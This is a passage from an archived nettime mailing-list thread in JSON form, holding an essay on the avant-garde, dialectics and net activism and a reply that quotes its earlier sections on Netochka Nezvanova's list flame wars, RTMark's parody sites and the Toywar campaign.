desires and aspirations\nof the participants, and on their interests in each\nother. To subordinate the process of fusion to the\ngoal of a coalition \u2013 driven by a single cause, one\nthat is negative, directed against conquering some\nsmall concessions from power \u2013 is not a collaborative\nconstruction of a new form of being, as much as it is\na formal repetition of a cycle of enslavement and\nretribution. Opposition misses the mark, though it is\nvery successful in the media. When tactical media seek\nto smash the code, to disrupt the seamless surface of\ndigital mediation, of corporate power, of whatever\nabstract form the boogey of opposition takes, they are\ndetermined by their enemy. They oppose the false,\nideological shell of their enemy with\ncounter-statements made from a counter-perspective - a\nperspective they never question, because it is\nself-evident.  The energy and source of their\nself-valuation derives from their act of negation. \nNegation can be a splendid thing, a source of\nexhilaration and an experience of increased power, as\nthe limits imposed artificially on the self by the\nmyriad forms of micro-oppressions are temporarily\ntranscended, transgressed. But this is a potentially\nendless cycle of negation ad infinitum, unto death;\nthe satisfaction of negation is only temporary, its\nhunger renewed again. \n\nThe coalition of activists who swarm through the\nnetwork may not be the best form for constructing a\nnew entity in fusion; support for a cause, especially\nin the form of opposition to an abstract enemy, is\neasy to get for a few hours online and requires little\ncommitment, but a collaboration based on trust and\nreciprocal interest in other people is more difficult.\nThis kind of collaboration works best in an encounter\nthat doesn\u2019t measure success in terms of numbers,\nspeed, or the corporate logic of the network society,\nwhich always subordinates the present to the demand\nfor a future goal and profit. Last year a number of\nindividuals and small groups came together <including\nRicardo Dominguez, who did not come as a\nrepresentative of EDT> to try to establish a loose\nform of association between different net.culture\nclubs and media centers. This association was not a\ncoalition, because there was no common goal or\ninterest or ideological uniformity among participants\nfrom the different regions - Europe, east and west,\nAmerica, north and south - and because there was no\noverall plan which could be imparted to different\n\u2018sections\u2019 of some would-be international.  One of the\ncriticisms this meeting received was that the thing in\nfusion it invoked had no real cause for being, that it\nlacked a definitive reason for making the association\nin the first place, other than some vague aspiration\nto share what each group had in resources and\nexperience with each other or a seemingly banal desire\nto travel and meet with others to participate in and\nlearn about the process each had started in their own\nlocation. The absence of a cause can sometimes be the\nshadow of catastrophe or the promise of liberation.\n\n< 0 >\n\nIn a correspondence that was neither private nor\npublic, Sebastian Luetgert wrote \u2018it is the network -\nnot empire - that is materializing before our very own\neyes, and the multitudes are part of it. their only\nthreat to the regimes of control is that they will be\ntheir mirror . . . the enemy of the network is not the\nactivist, but the passivist. passivists don't surf:\nthey have learned to wait, and they know that when\ncrossing a desert there is no need for a powerbook, a\ngps phone or a press tent.\u2019 But maybe this is a false\ndilemma, the swing of a pendulum across the clockface\nof dead time. The activist in its familiar militant\npose is a creature that should be abandoned to a\nmuseum of relics \u2013 the activist determined by a war\nagainst an oppressive power, engaged in a fight which\nconsumes all his energy in reverse, convinced of the\nabsolute virtue of his cause and of the correctness of\nhis theory <a theory correct in inverse proportion to\nits practice> and, since possessing the correct ideas,\nendowed with the supreme calling of teaching them to\nothers, especially to those who have not had the\nprivilege of being schooled in the classroom of\nadvanced capitalism. But invoking the passivist risks\nbeing construed for a celebration of the silent\nmajority of consumers, secretly active in their\nabsolute stasis. There are forms of action that are\nneither activist nor passivist. Somewhere, where the\nlocation is unimportant, there\u2019s a group of people who\nstarted a club <social center is not the right word,\nbut sometimes the search for names is also\nunimportant> not out of a desire to be in opposition\nto any of the dominant art or cultural institutions,\nbut because they wanted to create a scene that did not\nyet exist. While inside, everyone uses a form invented\ncurrency. Some members of the group who are graphic\ndesigners make posters for restaurants and bars in\ntown in exchange for free vouchers so they have places\nto take their friends. They don\u2019t make any claims to\nthe space they have in their own name but invite\nothers to take temporary possession of it: artists,\nmusicians, some local people from a half-way house for\nthose considered mentally ill, even political\ntheorists and sociologists. They make a lot of\nactions, but when added together their sum is not\nactivism. No theory is constructed, no manifesto\nwritten that proclaims this form of life as the model\nof the coming revolution. There is no gospel and no\ndisciples. The critics of the institutionalized left\nmight perhaps snicker at this flimsy example,\nconcluding that it changes absolutely nothing, that it\nwill not \u2018overthrow\u2019 capitalism <overthrow = desire to\nrule, to become master>, that it doesn\u2019t conform to\ntheir vision of utopia <utopia = waiting until the\nconditions are ripe, negating the present in\nanticipation of a future whose past has already been\nglimpsed>. \n\nZhivago once fled with his lover to the interminable\nsnow plains across the barren landscape of\nrevolutionary Russia. Reaching a place that most\nresembled the center of nowhere, they stopped. The\nBolshevik police followed on their heels, moving at a\ndifferent speed, chasing a desire that escaped their\ncomprehension. They knocked at the door, asking, what\nis your agenda, what are you plotting against us, what\ndo you plan to do here? Live, he answered, just live.\nIf understood slowly, this is not the fatality of\nhopelessness or a sign of passive acquiescence in the\nface of an obscene demand. And if it is an\ninsurrection, it is not the insurrection proclaimed\nloudly on the center stage of capital cities whose\nsuccess is measured by how many times the police beats\nit to the ground. Knowing when to disappear, it does\nnot ask to be represented. Although there are many who\nlive it today, outside the speed of the media\nspectacle, their names would only be invoked in vain,\nas the idols of yet another manifesto thrown on the\nrubble-heap of history.\n\nDialectics never died. It lives every time another\ntired exhibit of the relics of dada or situationism\nopens at the houses of culture across the world. It\nlives when the hackers who haunt the net repeat the\nslogans and gestures of the dead and then congratulate\nthemselves when they are finally inducted into the\nhalls of power of the Venice Biennale or Ars\nElectronica. It lives when the theorists and\ncartographers of new deterritorialized flows of desire\nsell their interests by entering a classroom to become\nfunctionaries of the empire of production, offering\npackaged knowledge to students who eagerly produce\nwhatever stupidity is asked of them in exchange for\nthe general equivalent of a grade. It lives when the\nanti-globalization \u2018multitude\u2019 faithfully ascend to\nthe stage of negation to recite their memorized roles,\nproudly displaying the garments of an ideology that\nlong ago betrayed its exhaustion.  Dialectics consumes\nthe desire of life as it beats its wings against the\nlimits of the impossible. As Tzara once said,\ndialectics kills \u2013 it lives by producing corpses,\nwhich lie strewn across an empty field where the wind\nhas ceased to blow.  The field only reveals its own\nfolly and despair; and victory is the illusion of\nphilosophers and fools. \n\n\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! Sports - live college hoops coverage\nhttp://sports.yahoo.com/\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 19 Mar 2002 13:06:39 -0800 (PST)",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "20020319210639.39139.qmail@web12805.mail.yahoo.com",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00472.html",
                "list": "nettime_bold",
                "author_name": "duna maver",
                "subject": "[Nettime-bold] avant.garde - transfigured or dead?"
            },
            {
                "content-type": "text/plai",
                "from": "\"K\u00e1roly T\u00f3th\" <karoly.toth@xs4all.nl>",
                "id": "00489",
                "content": "dear duna, list\n\ni can not find the original post, duna maver have replied to\n\ncan somebody please post it to me this original article\n\nthanx & grtnx\nk'roy\n\n__________________________________________\nzero g artlab & cultural engineering rotterdam\nK\u00e1roly T\u00f3th\nkaroly.toth@xs4all.nl\nwww.xs4all.nl/~are\n__________________________________________\nzero g artlab rotterdam is an independent art-lab.\nThe lab is in an evolving process of exchage\nwith initiatives of individuals and institutions,\nbased on mutual sympathy.\n__________________________________________\n\n\n\n----- Original Message -----\nFrom: \"duna maver\" <dunamaver@yahoo.com>\nTo: <nettime-l@bbs.thing.net>\nSent: Tuesday, March 19, 2002 10:06 PM\nSubject: <nettime> avant.garde - transfigured or dead?\n\n\n> This is a belated reply to Eric Kluitenberg's\n> 'Transfiguration of the Avant-Garde/The Negative\n> Dialectics of the Net,' posted on nettime two months\n> ago. Mladen Stilinovic, Croatian artist, once said it\n> is good to be lazy, not just in art but in life. I am\n> in fundamental agreement with Eric's position: the\n> disturbance of the apparently seamless surface of the\n> digital media universe by groups like RTMark is indeed\n> a transfiguration of the dialectic of the old\n> avant-garde. But rather than seeing this as a sign of\n> their challenge to the logic of the network society,\n> to my mind, it is the mark of their obsolescence.\n> Actually, this is not much of a reply since it engages\n> with Eric's post only indirectly by evoking the same\n> three terms - dialectics, the avant-garde, and the net\n> - though they're walking down a different road. What\n> follows is the last piece of a longer book, Twilight\n> of the Idols.\n>\n> Hello.\n>\n>\n> < 1 >\n>\n> The specter of the avant-gardes haunts the\n> revolutionary imagination.  The powers of the left\n> once entered into unholy alliance with the forces of\n> the right to exorcise this specter: the czar of\n> Bolshevism and the pope of Fascism, the PCF and\n> Charles de Gaulle.  Pronounced a simultaneous threat\n> and a nothing, a tragic farce of bourgeois\n> individualism and political ineptitude reduced to\n> monumental ineffectiveness, the specter is hastily\n> written out of the pages of serious history. During\n> more than a century of small triumphs and triumphant\n> defeats, the monopoly over the production of this\n> history has been protected and defended by the guard\n> dogs of Marxism.\n>\n> What's behind the desire to write a manifesto, one\n> that would trump Marx by mimicking the gestures of a\n> beginning that returns to the same point of departure,\n> invoking one or another specter who haunts the\n> contemporary landscape and who will inherit the truth\n> of a still imperceptible becoming? The manifesto is a\n> performance, it summons an apparition that does not\n> yet possess clear contours, it calls its object into\n> being through an invocation, a magic ritual. The\n> manifesto is no mere representation, it is itself the\n> action it demands, uniting the 'we' of a new group\n> through the proclamation of new laws. The church\n> manifestoes of the 1640s denounced those who deviated\n> from the light, summoning the bearers of the truth of\n> God. The communist manifesto abolished the false god\n> of the market in the name of the truth of a new group\n> in fusion who would inherit the legacy of state power.\n> Manifestoes may negate, but only as a means to the\n> affirmation of a new truth; they are essentially\n> positive, programmatic, constitutional. Sure of\n> themselves, they are always written in a declarative\n> mode. We are, we say, we want.\n>\n> It is through the laws and proclamations of their\n> manifestoes that the various avant-gardes instituted\n> themselves as micro-nations, states in miniature.\n> Surrealism launched itself in 1924 in the form of a\n> dictionary definition: 'Surrealism, noun. Psychic\n> automatism in its pure state.' It proclaimed the\n> purity and truth of its uncorrupted desire and\n> declared openly that it proposed to institute itself\n> as a totality over the fallen world and 'solve all the\n> principal problems of life.'  Surrealism and the SI\n> were only the most rabid forms of the avant-garde's\n> identification with ideological discourse, which is\n> simultaneously the logic of territoriality - it lists\n> negations and abolitions, affirms goals in advance,\n> demarcates borders that separate the outside from the\n> inside, and denounces enemies and ideas that exceed\n> the limits of its own system. The will to\n> excommunication and the juridical tone of these\n> movements was not a deviation, some last tragic gasp\n> of the avant-gardes in decline, it was present in the\n> act of their founding.\n>\n>  < avant.NET >\n>\n> The life of the avant-gardes has become a virtual\n> geography. Manifestoes invoking the arrival of new\n> forms of immaterial, liquiescent subversion assume\n> that after the stagnation of the conservative\n> eighties, the previous movements of the left,\n> including the radical avant-gardes, have\n> de-materialized from the streets to the 'rhizomatic'\n> universe of the net. Critical Art Ensemble announce\n> the disappearance of visible power: the power which\n> was once incarnated in the body of the king or in the\n> architecture of castles and parliament houses has\n> vanished under the simultaneous compression of space\n> and time. Becoming liquid, power seeps through\n> cyberspace, an elusive entity that nomadically wanders\n> the globe, a body without borders that changes shape\n> as it moves. In vain would the war machines of\n> subversion run after it on the streets. Vacated of the\n> symbols and materiality of power, the streets are dead\n> and not worth fighting for and defending - it is the\n> control of information that has become the terrain of\n> battle, and the name of resistance whispered in every\n> enthusiastic ear is infowar, the appropriation of\n> 'data and/or means of communication.'  The net, in all\n> its beauty and terror fulfills the promise of the\n> radical impulses of earlier generations. The\n> revolutionary vision lives, transfigured.  As Eric\n> Kluitenberg has said, 'The strategies, the conceptual\n> tools, the tactics of intervention in the new digital\n> hypersphere are highly familiar. They draw on the\n> legacy and experience of the avant-garde movements.'\n> The affirmation of the origins of tactical media\n> <communication guerilla // infowar // hacktivism //  .\n> . .> in the gestures of the old avant-gardes is\n> invoked by artists and digerati alike; the arsenal of\n> the future is constructed out of the ruins of the\n> past: Duchamp, Berlin Dada, Breton, the irreproachable\n> Situationists.  According to the new mythology, is\n> only the geography of the gestures - their location in\n> physical space - that has become obsolete. But which\n> gestures, which avant-garde?\n>\n> < cyber terrorism >\n>\n> CAE has implied that cyber terrorism is impossible:\n> 'How can terror happen in virtual space, that is in a\n> space with no people - only information?' But people\n> are not only their material bodies, but their\n> relations, their accumulation of knowledge and skills,\n> the information others have accumulated about them -\n> and a manipulation of information can be experienced\n> as a concrete threat. Some have called Netochka\n> Nezvanova, the online entity who has 'destroyed'\n> several mailing lists by unleashing a wave of panic\n> over 'spams' against their citizens, the 'great terror\n> of the net.' Just on a formal level, the resemblance\n> between this particular form of 'spamming' and\n> terrorism may not be so far off the mark. For the\n> Social Revolutionary terrorists in Russia during the\n> 1880s an assassination meant the direct removal of the\n> cause of repression; after the 1890s, terrorism became\n> indirect. The 'propaganda of the deed' of fin de\n> siecle terrorism in France attacked an oppressive\n> power by random violence against those ruled, against\n> 'citizens' who were guilty for applauding the current\n> order.  An initial panic ensues; State functionaries,\n> under the pretext of protecting citizens impose\n> increasingly rigid and intolerant rules which actually\n> restrict their freedoms. The ultimate aim of the\n> second phase of terrorism is to reveal the State as\n> the real terrorist, in the hope that citizens will\n> eventually shift the blame to those who rule.\n>\n> Historically this reversal has almost never worked.\n> Except maybe on the Syndicate list. The 10-20 average\n> daily mails that NN sent to the mailboxes of the\n> netizens were frequently in the form of attacks\n> against the oppressors who were administrating the\n> list or against the others who commanded some form of\n> power and respect as the leaders of net activism. Pit\n> Shultz, Geert Lovink, Tilman Baumgaertel were called\n> 'inkompetent pop.tart male imbeciles . whose m9nd\n> aktivity resembles that of a housefly - only\n> understand the trivial hence the state of things . . .\n>  following refuse - i.e. each other.'  Andreas\n> Broeckmann: one of the 'neu media kr!!ket dictators,'\n> 'dezt!tut korporat.fasc!zt bagatela' who makes 'a\n> total !mbez!l ov h!mzelv + h!z teror!zt anzeztrz.'\n> Mark Tribe and Alex Galloway of Rhizome: 'laughable +\n> destitute' Thing.net: bunch of 'inkompetent\n> marionetten . invalids + posers.' Syndicate: an\n> 'ART>MAFIA . DUMB + DEAD.' In the Syndicate debacle\n> that followed, NN succeeded in derailing the\n> discussions and forcing the citizens of the list to\n> take sides - either for NN, thus supposedly on the\n> side of freedom of speech and 'democracy,' or against\n> her, in other words, siding with the totalitarian,\n> fascist, dictator administrators of the list. For a\n> moment the tactic succeeded in inverting the blame.\n> After the administrators kicked NN of the list in\n> secrecy, a wave of protests and accusations of fascism\n> and totalitarianism followed, NN was re-s*bscribed and\n> the admins quit the list taking a lot of the long term\n> members with them in a wave of mass-uns*bscription.\n> Ostensibly power vacated its seat, and the list was\n> re-occupied in another name - in the name of freedom,\n> as the story might be written in the pages of history.\n>\n> Alexei Shulgin once said of NN, there's nothing new\n> here, we've seen it all before. Legacy of the\n> avant-garde? 'da.da da + da.' Excommunication and\n> terrorism were the twin faces of the avant-garde,\n> excommunication as the form the internal relations\n> among the group eventually took, and terrorism against\n> bourgeois institutions as their tactic of external\n> relation to their social context. The prudence of\n> history would criticize the reprehensible\n> excommunications but celebrate the hijacks and pranks\n> against the establishment as strokes of brilliance.\n> Bravo, epater le bourgeoisie, slap in the face of\n> public taste. But both are driven by the same impulse,\n> by a dogmatism convinced of the truth of its own\n> theory and vision, and an intolerant dismissal of\n> everyone else. The Surrealists hijacked a bourgeois\n> dinner party with the same sleigh of hand as Breton\n> later expelled Artaud, Bataille, Vitrac, Souppault and\n> many others from the group 'by reason of their\n> occupation and character.' The Lettrists hijacked a\n> press conference given by Charlie Chaplin  <'you've\n> identified yourself with the weak and the oppressed .\n> . .  but in the shadow of your rattan cane some could\n> already see the nightstick of a cop . . . Go to sleep,\n> you fascist insect . . . We pray that your latest film\n> will truly be your last'> with the same ardor as the\n> Situationists later expelled whole nations from their\n> International.  NN is the anti-climax of the\n> avant-garde's hysterical nightmare of persecution:\n> everyone is guilty save herself, all the names of\n> net.history who pretend to be revolutionaries are in\n> fact reactionary cops and corporate fascists, all\n> abuse her, steal from her, terrorize her, ban her from\n> lists, deny the expression of her freedom. She is the\n> only one in possession of truth and virtue in this war\n> of words, which is above all a war of righteousness:\n>\n> David Zicarelli - cycling@sirius.com  typed\n>\n> >>We have removed the user 'netochka nezvanova'\n>\n> >Truth  -  The `estimable` + `fashionable` [permit\n> someone to roll the eye\n> >komponents + faint theatrically] David Zicarelli has\n> removed and blocked++\n> >Netochka Nezvanova from the MAX forum because she has\n> posted\n> >a brief excerpt from an internal Cycling74\n> communication which\n> >David Zicarelli transmitted to all Cycling74\n> employees.\n>\n> >>'she' intiated what could best be described as a\n> terror campaign\n>\n> >Absolute nonsense. Tell the truth.\n>\n> >>that included spam to anyone who posted to the Max\n> list, denial of service attacks,\n>\n> >Absolute nonsense. Tell the truth.\n>\n> >>and threatening and slanderous e-mail sent to random\n> individuals at McGill.\n>\n> >Absolute nonsense. Tell the truth.\n>\n> >>I didn't see any point to subjecting myself and my\n> co-workers to this type of harrassment.\n>\n> >Tell the truth liar. trrruth.\n>\n> This first NN flame war on the list for MAX users <a\n> graphic programming environment for audio and video\n> manipulation from multiple sources; NN's own software\n> Nato 0+55 extended the capabilities of MAX> began\n> after NN initiated a lawsuit against the MAX\n> developers, Cycling '74. After being thrown off the\n> MAX list, NN retaliated against the list admin by\n> creating a site in his tribute: 'There were Web pages\n> all over the place with swastikas and my name on it.'\n> This first list war revealed the personal motives\n> behind the attacks. Katharine Mieszkowski recently\n> speculated that power and money were behind the\n> seemingly idle net.pranks; when criticized in the\n> past, NN has revoked her clients' software licence\n> (which was already paid for), a veritable monopoly,\n> she can afford to control the game and freedom of\n> expression does not cut both ways.\n>\n> NN's brand of 'terror' is just excommunication in\n> reverse, and the people who rushed to her defense on\n> the Syndicate were defending what they accused the\n> list administrators of: a self-certain righteousness\n> that is capable only of crushing dissent. And vice\n> versa, by kicking her off the list, the admins were\n> stooping to the tactics they claimed she used and they\n> deplored, especially since the expulsion was decided\n> off the list rather than publicly by consensus. The\n> excuses given later were desperate at best, shamefully\n> paternalist at worst: 'nn promised to Syndicate admin\n> to behave herself. it went fine in the first weeks /\n> months. unfortunately, she lost control of herself\n> again.' It seems, on the contrary, that NN was very\n> much in control of herself and the situation, and in\n> the panic that ensued on the list netizens and rulers\n> alike played into her hands. For or against, the\n> choice itself was a choice in choicelessness, and\n> things could have played out differently. Many of NN's\n> earlier posts, those that were not so abusive and\n> self-serving, were provocative and amusing. It's a\n> pity that they were so overshadowed by the empty\n> accusations and cheap insults which became so\n> repetitive, adolescent, and full of ressentiment - but\n> this was a decision to be made by individual members.\n> The flood of emails were not such a 'great terror';\n> the insults were extremely superficial and lacking in\n> substantive analysis <fascist or nazi is the easiest\n> form of character attack; saying nothing, it relies\n> purely on hyper-emotional reaction> and it is an\n> exaggeration to say they could have wounded anyone's\n> reputation. From a certain perspective, NN was by far\n> the best performance on a list that had and become a\n> string of announcements with little discussion. August\n> 2001, when all the kitsch about democracy and\n> totalitarianism hit the fan, was the list's most\n> lively and interesting month, as much for what was\n> said as for what remained unspoken.\n>\n> >From a certain other perspective, this could be seen\n> as just the business of art as usual. Older\n> avant-gardes and classical terrorist cells alike were\n> driven by a supreme cause, by the vision of an\n> absolute theory - which was the source of their\n> heroism and of their tragedy. In the contemporary\n> theater, no cause is important enough to die or kill\n> for, nothing is 'transcendent,' and immanence has\n> become the order of a night in which all cows appear\n> black. The absence of a cause and the adoption of a\n> nameless identity could be a promise of liberation or\n> the shadow of a catastrophe. Nameless Nobody,\n> self-proclaimed body without border, wandering\n> purposelessly from one mailing list to another, black\n> listing all the names of power in the not so general\n> economy of the net. Ultimately the cause behind all\n> the covert tactics and agitations is sui generis, NN\n> is its own cause, terrorizing lists through seemingly\n> random flames and character assassinations as a form\n> of self-advertisement. The third time, history repeats\n> itself as innocuous farce, without substance.\n> Terrorism in abstract form, void of content,\n> aestheticized and mute. The image without image  <or\n> the nameless name> manufactures a myth that can be\n> filled by anything, as rumors escalate and speculation\n> feeds on itself. One person with multiple identities?\n> A female New Zealander artist? A male Icelander\n> musician? An Eastern European collective conspiracy?\n> For some, the advertisement is seductive, promising\n> something-I-know-not-what, the secret of the commodity\n> that can be apprehended only as a fetish. Darling of\n> the net who everyone loves, or loves to hate. Either\n> way, all propaganda is propaganda. 'Mysterious.\n> Inapprehensible. Elusive.' 'Brilliant deconstruction,\n> A1 quality. Intelligent, cool' 'Geographical\n> deconstruction. Gender deconstruction. Identity\n> corruption.'\n>\n> 'NN's reputation is based on mouth 2 mouth\n> adverti.cement. When something is very well\n> konstruckted and designed with a degree of integrity\n> it stands on its own ... All the cool girls wear NN.'\n> Everything is made and unmade in the mirror image of\n> consumption. You are either with us or you are uncool.\n> The ultimate terror is that of being out of fashion\n> with the times + + symbolically dead.\n>\n> < detournement? >\n>\n> Detourne: a verb used, among other things, to describe\n> the hijacking of a plane. The SI may have come up with\n> the name detournement, but the practice was first\n> stumbled upon by the previous era of the avant-gardes.\n> In 1919 Johannes Baader, Berlin Oberdada, interrupted\n> a meeting of the Weimar National Assembly and threw\n> fliers from the balcony onto the heads of the\n> statesmen below announcing his candidacy for the\n> presidency of the world.  The press reported that the\n> country's leading politicians had been publicly\n> insulted.  Probably they had been insulted before on\n> many occasions, but this one was not in the form of\n> ideological discourse they were familiar with. No\n> assertions or rebuttals. Was it political speech? Was\n> it theater? It was an answer to politics but not from\n> the 'inside' by using the same language or adopting\n> the same presuppositions. It was not dialectical -\n> dialectics negates only what is irrational,\n> inconsistent, or dogmatic in the system, ultimately to\n> perfect and strengthen it. <Marx may have criticized\n> the irrationality of capitalism - the theft of\n> surplus, the spawning of alienation, the degradation\n> and misery of those who were deprived of the fruits of\n> their labor - but preserved the values and\n> presuppositions of its 'rational' kernel - the\n> valorization of production, the goal of continuously\n> expanding productive forces, the instrumental use of\n> technology. By preserving the forms but altering the\n> content (putting it in the hands of the proletariat)\n> the whole system can be transformed from the inside,\n> made more rational, more democratic, more productive;\n> eventually the form itself would change and repressive\n> institutions would wither away.  By the 1960s and\n> 1970s it first dawned on the ex-Marxist left\n> <Castoriadis, later Baudrillard and Deleuze> that\n> dialectics never gets 'outside' what it criticizes -\n> its negation is already prefigured by the logic of the\n> system itself. Actually Bakunin had made this same\n> criticism a century before, after being thrown out of\n> the First International by Marx and Engels.> Baader's\n> detourned negation made no overt criticism, and put\n> forward no demand for the transformation of the\n> content of the Assembly's program - his demand for\n> world presidency was a prank, making a joke out of\n> politics rather than engaging in it on its own terms.\n> He did not seek to take over the National Assembly in\n> the name of a new movement. The politicians and press\n> who answered the gesture did not know what to make of\n> it. It was not the kind of kind of thing they were\n> used to, its power to disrupt was precisely that it\n> was unexpected. Detournement, in updated jargon, has\n> become communication guerilla, cultural jamming,\n> aesthetic sabotage, infowar - but are the gestures so\n> unexpected almost a century later?\n>\n> The most interesting thing about RTMark is the\n> illusion of the real - for a moment some unsuspecting\n> visitors who entered their fake WTO or Bush or other\n> sites and read the inverted messages of their pages\n> did not know what to make of it since they believed\n> them to be genuine sites. For these sites RTMark\n> simply copied the layout, graphics and images from the\n> originals, and altered the content. The fake WTO site\n> <www.gatt.org, named after the General Agreement on\n> Tariffs and Trade> doesn't celebrate global free trade\n> but criticizes the WTO's lack of socio-environmental\n> responsibility, replacing WTO documents with\n> counter-documents of groups protesting globalization.\n> And maybe it should be stressed that it is an\n> *unsuspecting few* visitors who are fooled. The sites\n> got millions of hits after the story broke in the\n> mainstream press, and those rushing to check them out\n> already knew they were 'fake' sites. Surprisingly,\n> some bewildered few still stumble upon them and\n> continue to be fooled. The fact that RTMark has gotten\n> invited to speak as real representatives of the WTO\n> 'by mistake' and that their hilarious performances as\n> impostors of the real went unquestioned by the\n> audience members is perhaps only a testimony to the\n> incredible stupidity of the liquiescence of power.\n>\n> The then presidential-hopeful GWBush protested against\n> the fake RTMark site <which accused him of hypocrisy\n> and drug use> by denouncing it as a form of routine\n> negative campaigning. In a sense, it could be said\n> that the politicians and the press did not know what\n> to make of it because it was an unexpected thing and\n> they didn't recognize its language or its aims. But to\n> give some credit to Bush's gullibility, RTMark's form\n> of tactical media uses the same language and the same\n> strategy as political ads. The gullible are confused\n> because the similarity is too close.  And maybe it is\n> the similar *form* of this strategy and the desire to\n> be mistaken for the real thing which should be\n> questioned. RTMark videos and websites, which dwell by\n> choice in the language of corporate advertising,\n> attempting to use the height of banality against\n> itself, seem stuck by necessity in the mire of this\n> same banality. RTMark productions are an occupation of\n> the form <of media and capitalism in simultaneity, as\n> corporate advertising> with an inversion of its\n> content. When Daniel Cohn-Bendit once proposed making\n> a leftist western by just changing the soundtrack,\n> Debord answered that the homogenous, unbroken form of\n> the western would preserve the ideology behind it,\n> offering a complacent, facile consumption.  Preserving\n> the form and just changing the content was\n> insufficient, especially a change of content in the\n> form of a reversal.  'Detournement by simple reversal\n> is always the most direct and the least effective. The\n> Black Mass . . . merely reverses - and thus\n> simultaneously conserves - the value of that\n> metaphysics.' Satanism may be heretical, but it's\n> still a religion, the whole field of ritual and\n> subordination before a superior power is preserved in\n> it.\n>\n> Baader may not have aspired to become a real\n> politician, but Breton did when founded a 'Bureau' of\n> surrealist research and modeled the organization of\n> the group on the French Communist Party.  The\n> Situationists held real congresses and aspired to\n> become an International <modeled after the first one>\n> with altered demands. As a practice detournement\n> reflected a contradiction at the level of theory\n> between the recognition that fighting on the same\n> terrain and wanting to be taken for the real thing is\n> a seductive but inevitable trap, and the desire\n> <expressed in the hijacking metaphor> to occupy the\n> old buildings of power under a new name, with new\n> demands. Detournement was a momentary line of flight\n> out of dialectics, and also a reterritorialization on\n> familiar ground.\n>\n> Alex Burns from Disinformation remarked that RTMark\n> uses 'dialectical reasoning' - they prefer 'to subvert\n> the system from within' in contrast to other acts of\n> resistance which want to 'dismantle the corporate\n> system altogether.'  This is not a criticism by Burns,\n> who celebrates RTMark's dialectical ingenuity; the\n> only danger he foresees is the external one of being\n> recuperated by corporations <who can 'steal' their\n> tactics>, rather than a problem with the choice of\n> dialectical method itself. As a dialectical gesture,\n> RTMark is an inversion of corporatism from within, an\n> identification with the corporate image in order to\n> reveal and oppose its abuses. In legal terms, RTMark\n> is a real corporation, selling mutual funds, even if\n> they are mutual funds for corporate sabotage. The\n> detourned content is amusing, and the issue they raise\n> is significant: corporations have aggregated powers\n> under the law of limited liability that are\n> technically illegal for persons: corporations have\n> only rights, but no responsibility.  But RTMark\n> proudly admit to using the same legal form of limited\n> liability as a protection against the potential risk\n> of prosecution for their sabotage activities - they\n> depend on what they denounce as an abuse when used by\n> 'real' corporations. Using the same graphics and\n> language of the Internet brokerage sites of the late\n> 1990s, RTMark mirrors the Internet stock corporation.\n> Using the same tactics of exaggeration and spin as\n> mass media, RTMark mirrors the banality of media\n> scandals.  Mark Amerika has noted that especially in\n> the Toywar campaign RTMark's press releases were\n> 'skewed in a way that essentially mimics the way\n> corporate press releases are skewed, complete with\n> sound-bite blurbs, website addresses for further\n> information, and self-reflexive advertisements for\n> RTMARK art products (projects).' Taking the logic of\n> corporate advertising to its limit, RTMark is not\n> above skewing information to enhance its own image.\n> Some of the projects which they claim under their own\n> sponsorship and direction are Toywar <which was a very\n> large collective effort>, FloodNet <which was\n> developed by EDT, who never got any money for project\n> development from RTMark> and the idea of pr\u00eat a\n> revolter <colorful clothing that is ready to revolt,\n> made of resistant parts of water bottles, complete\n> with micro-cameras hidden in fake breasts - created\n> for anti-globalization protests in Barcelona last\n> summer by several different designers, though the\n> project itself was initiated by the Spanish group Las\n> Agencias>. RTMark may include real individuals, but is\n> just an abstraction, a shell, the mirror image of a\n> boss appropriating the work done by many workers in\n> the struggles against corporatism.\n>\n> RTMark is a corporation in reverse, a corporation with\n> an alternative message that mimics the same mode of\n> operation as their opposition. As with any\n> corporation, the aim is the maximization of profit,\n> and profit is always counted in numbers.  RTMark\n> define their most successful projects as those that\n> 'got the most press' and in the battle for press\n> coverage 'Quality is less important than quantity, I\n> guess you could say, we spend a lot less time fretting\n> about the gemlike qualities of projects than about\n> their effectiveness. Just let them keep coming, and\n> faster and faster!' The quantity of articles and\n> mentions in the press housed in the archive of\n> symbolic capital on RTMark website is indeed\n> impressive.  Over 650 press items, including NY Times,\n> Time Magazine, Wall Street Journal, CNN, Village\n> Voice, Wired, Playboy, Fringeware, Suck, Slashdot,\n> Telepolis, ArtNetWeb, ArtByte; hundreds of mentions in\n> foreign press: Spain, France, Britain, Germany, Italy,\n> Slovenia, Croatia, Hungary, Czech Republic, Poland,\n> Netherlands, Finland, Norway, Sweden, China, Japan,\n> South Africa. In this battle over the control of the\n> media by its own means of manipulation to promote the\n> RTMark corporate image as a veritable monopoly of\n> subversion, the most important victory is the\n> accumulation of images.\n>\n> < infowar >\n>\n> The legal battle at the end of 1999 between the\n> billion dollar toy dot.com eToys and the European art\n> group etoy was one of the important events in the\n> history of the Internet, since it was precisely the\n> possible use, legality, and future direction of the\n> net that were at stake. The facts of the case were\n> that etoy had existed and had its domain name first;\n> the demand by eToys that etoy change its domain on the\n> grounds that the similarity of the names was confusing\n> eToys' customers and hurting its business was spurious\n> and the legal injunction it obtained against etoy was\n> bordering on illegality - this all served as a\n> realtime demonstration that money determines the\n> rights to operate in cyberspace and is behind the\n> so-called impartiality of the justice system.  But the\n> myth of this epic battle suffered from its own\n> exaggerations. RTMark credited the campaign which they\n> directed with crippling the eToy servers and with the\n> eventual '70% decline in the value of eToys stock.'\n> The numbers on the Toywar site are even more\n> impressive as are attributions of the causes and\n> effects: 'result: within 2 months the eToys Inc. stock\n> (NASDAQ: ETYS) dropped from $67 (the day the battle\n> started) to $15 (the day eToys Inc. finally dropped\n> the case). TOYWAR was the most expensive performance\n> in art history: $4.5 billion dollars.' Reinhold\n> Grether, one of the key players in the campaign,\n> portrayed the war as 'a conflict between two\n> lifestyles, one consumerist, giving absolute priority\n> to acquisition, in this case, a domain, and the other\n> artistic, declaring the exhibition of complex social\n> practices, rather than art objects, as the object of\n> art.' But was the war between eToys and etoy a\n> conflict between consumerism and the purity of\n> anti-corporate art as the social construction of an\n> alternative style of life, or was it a conflict\n> between different market segments of  consumerism?\n> After all, as etoy has insisted over and again 'We are\n> not 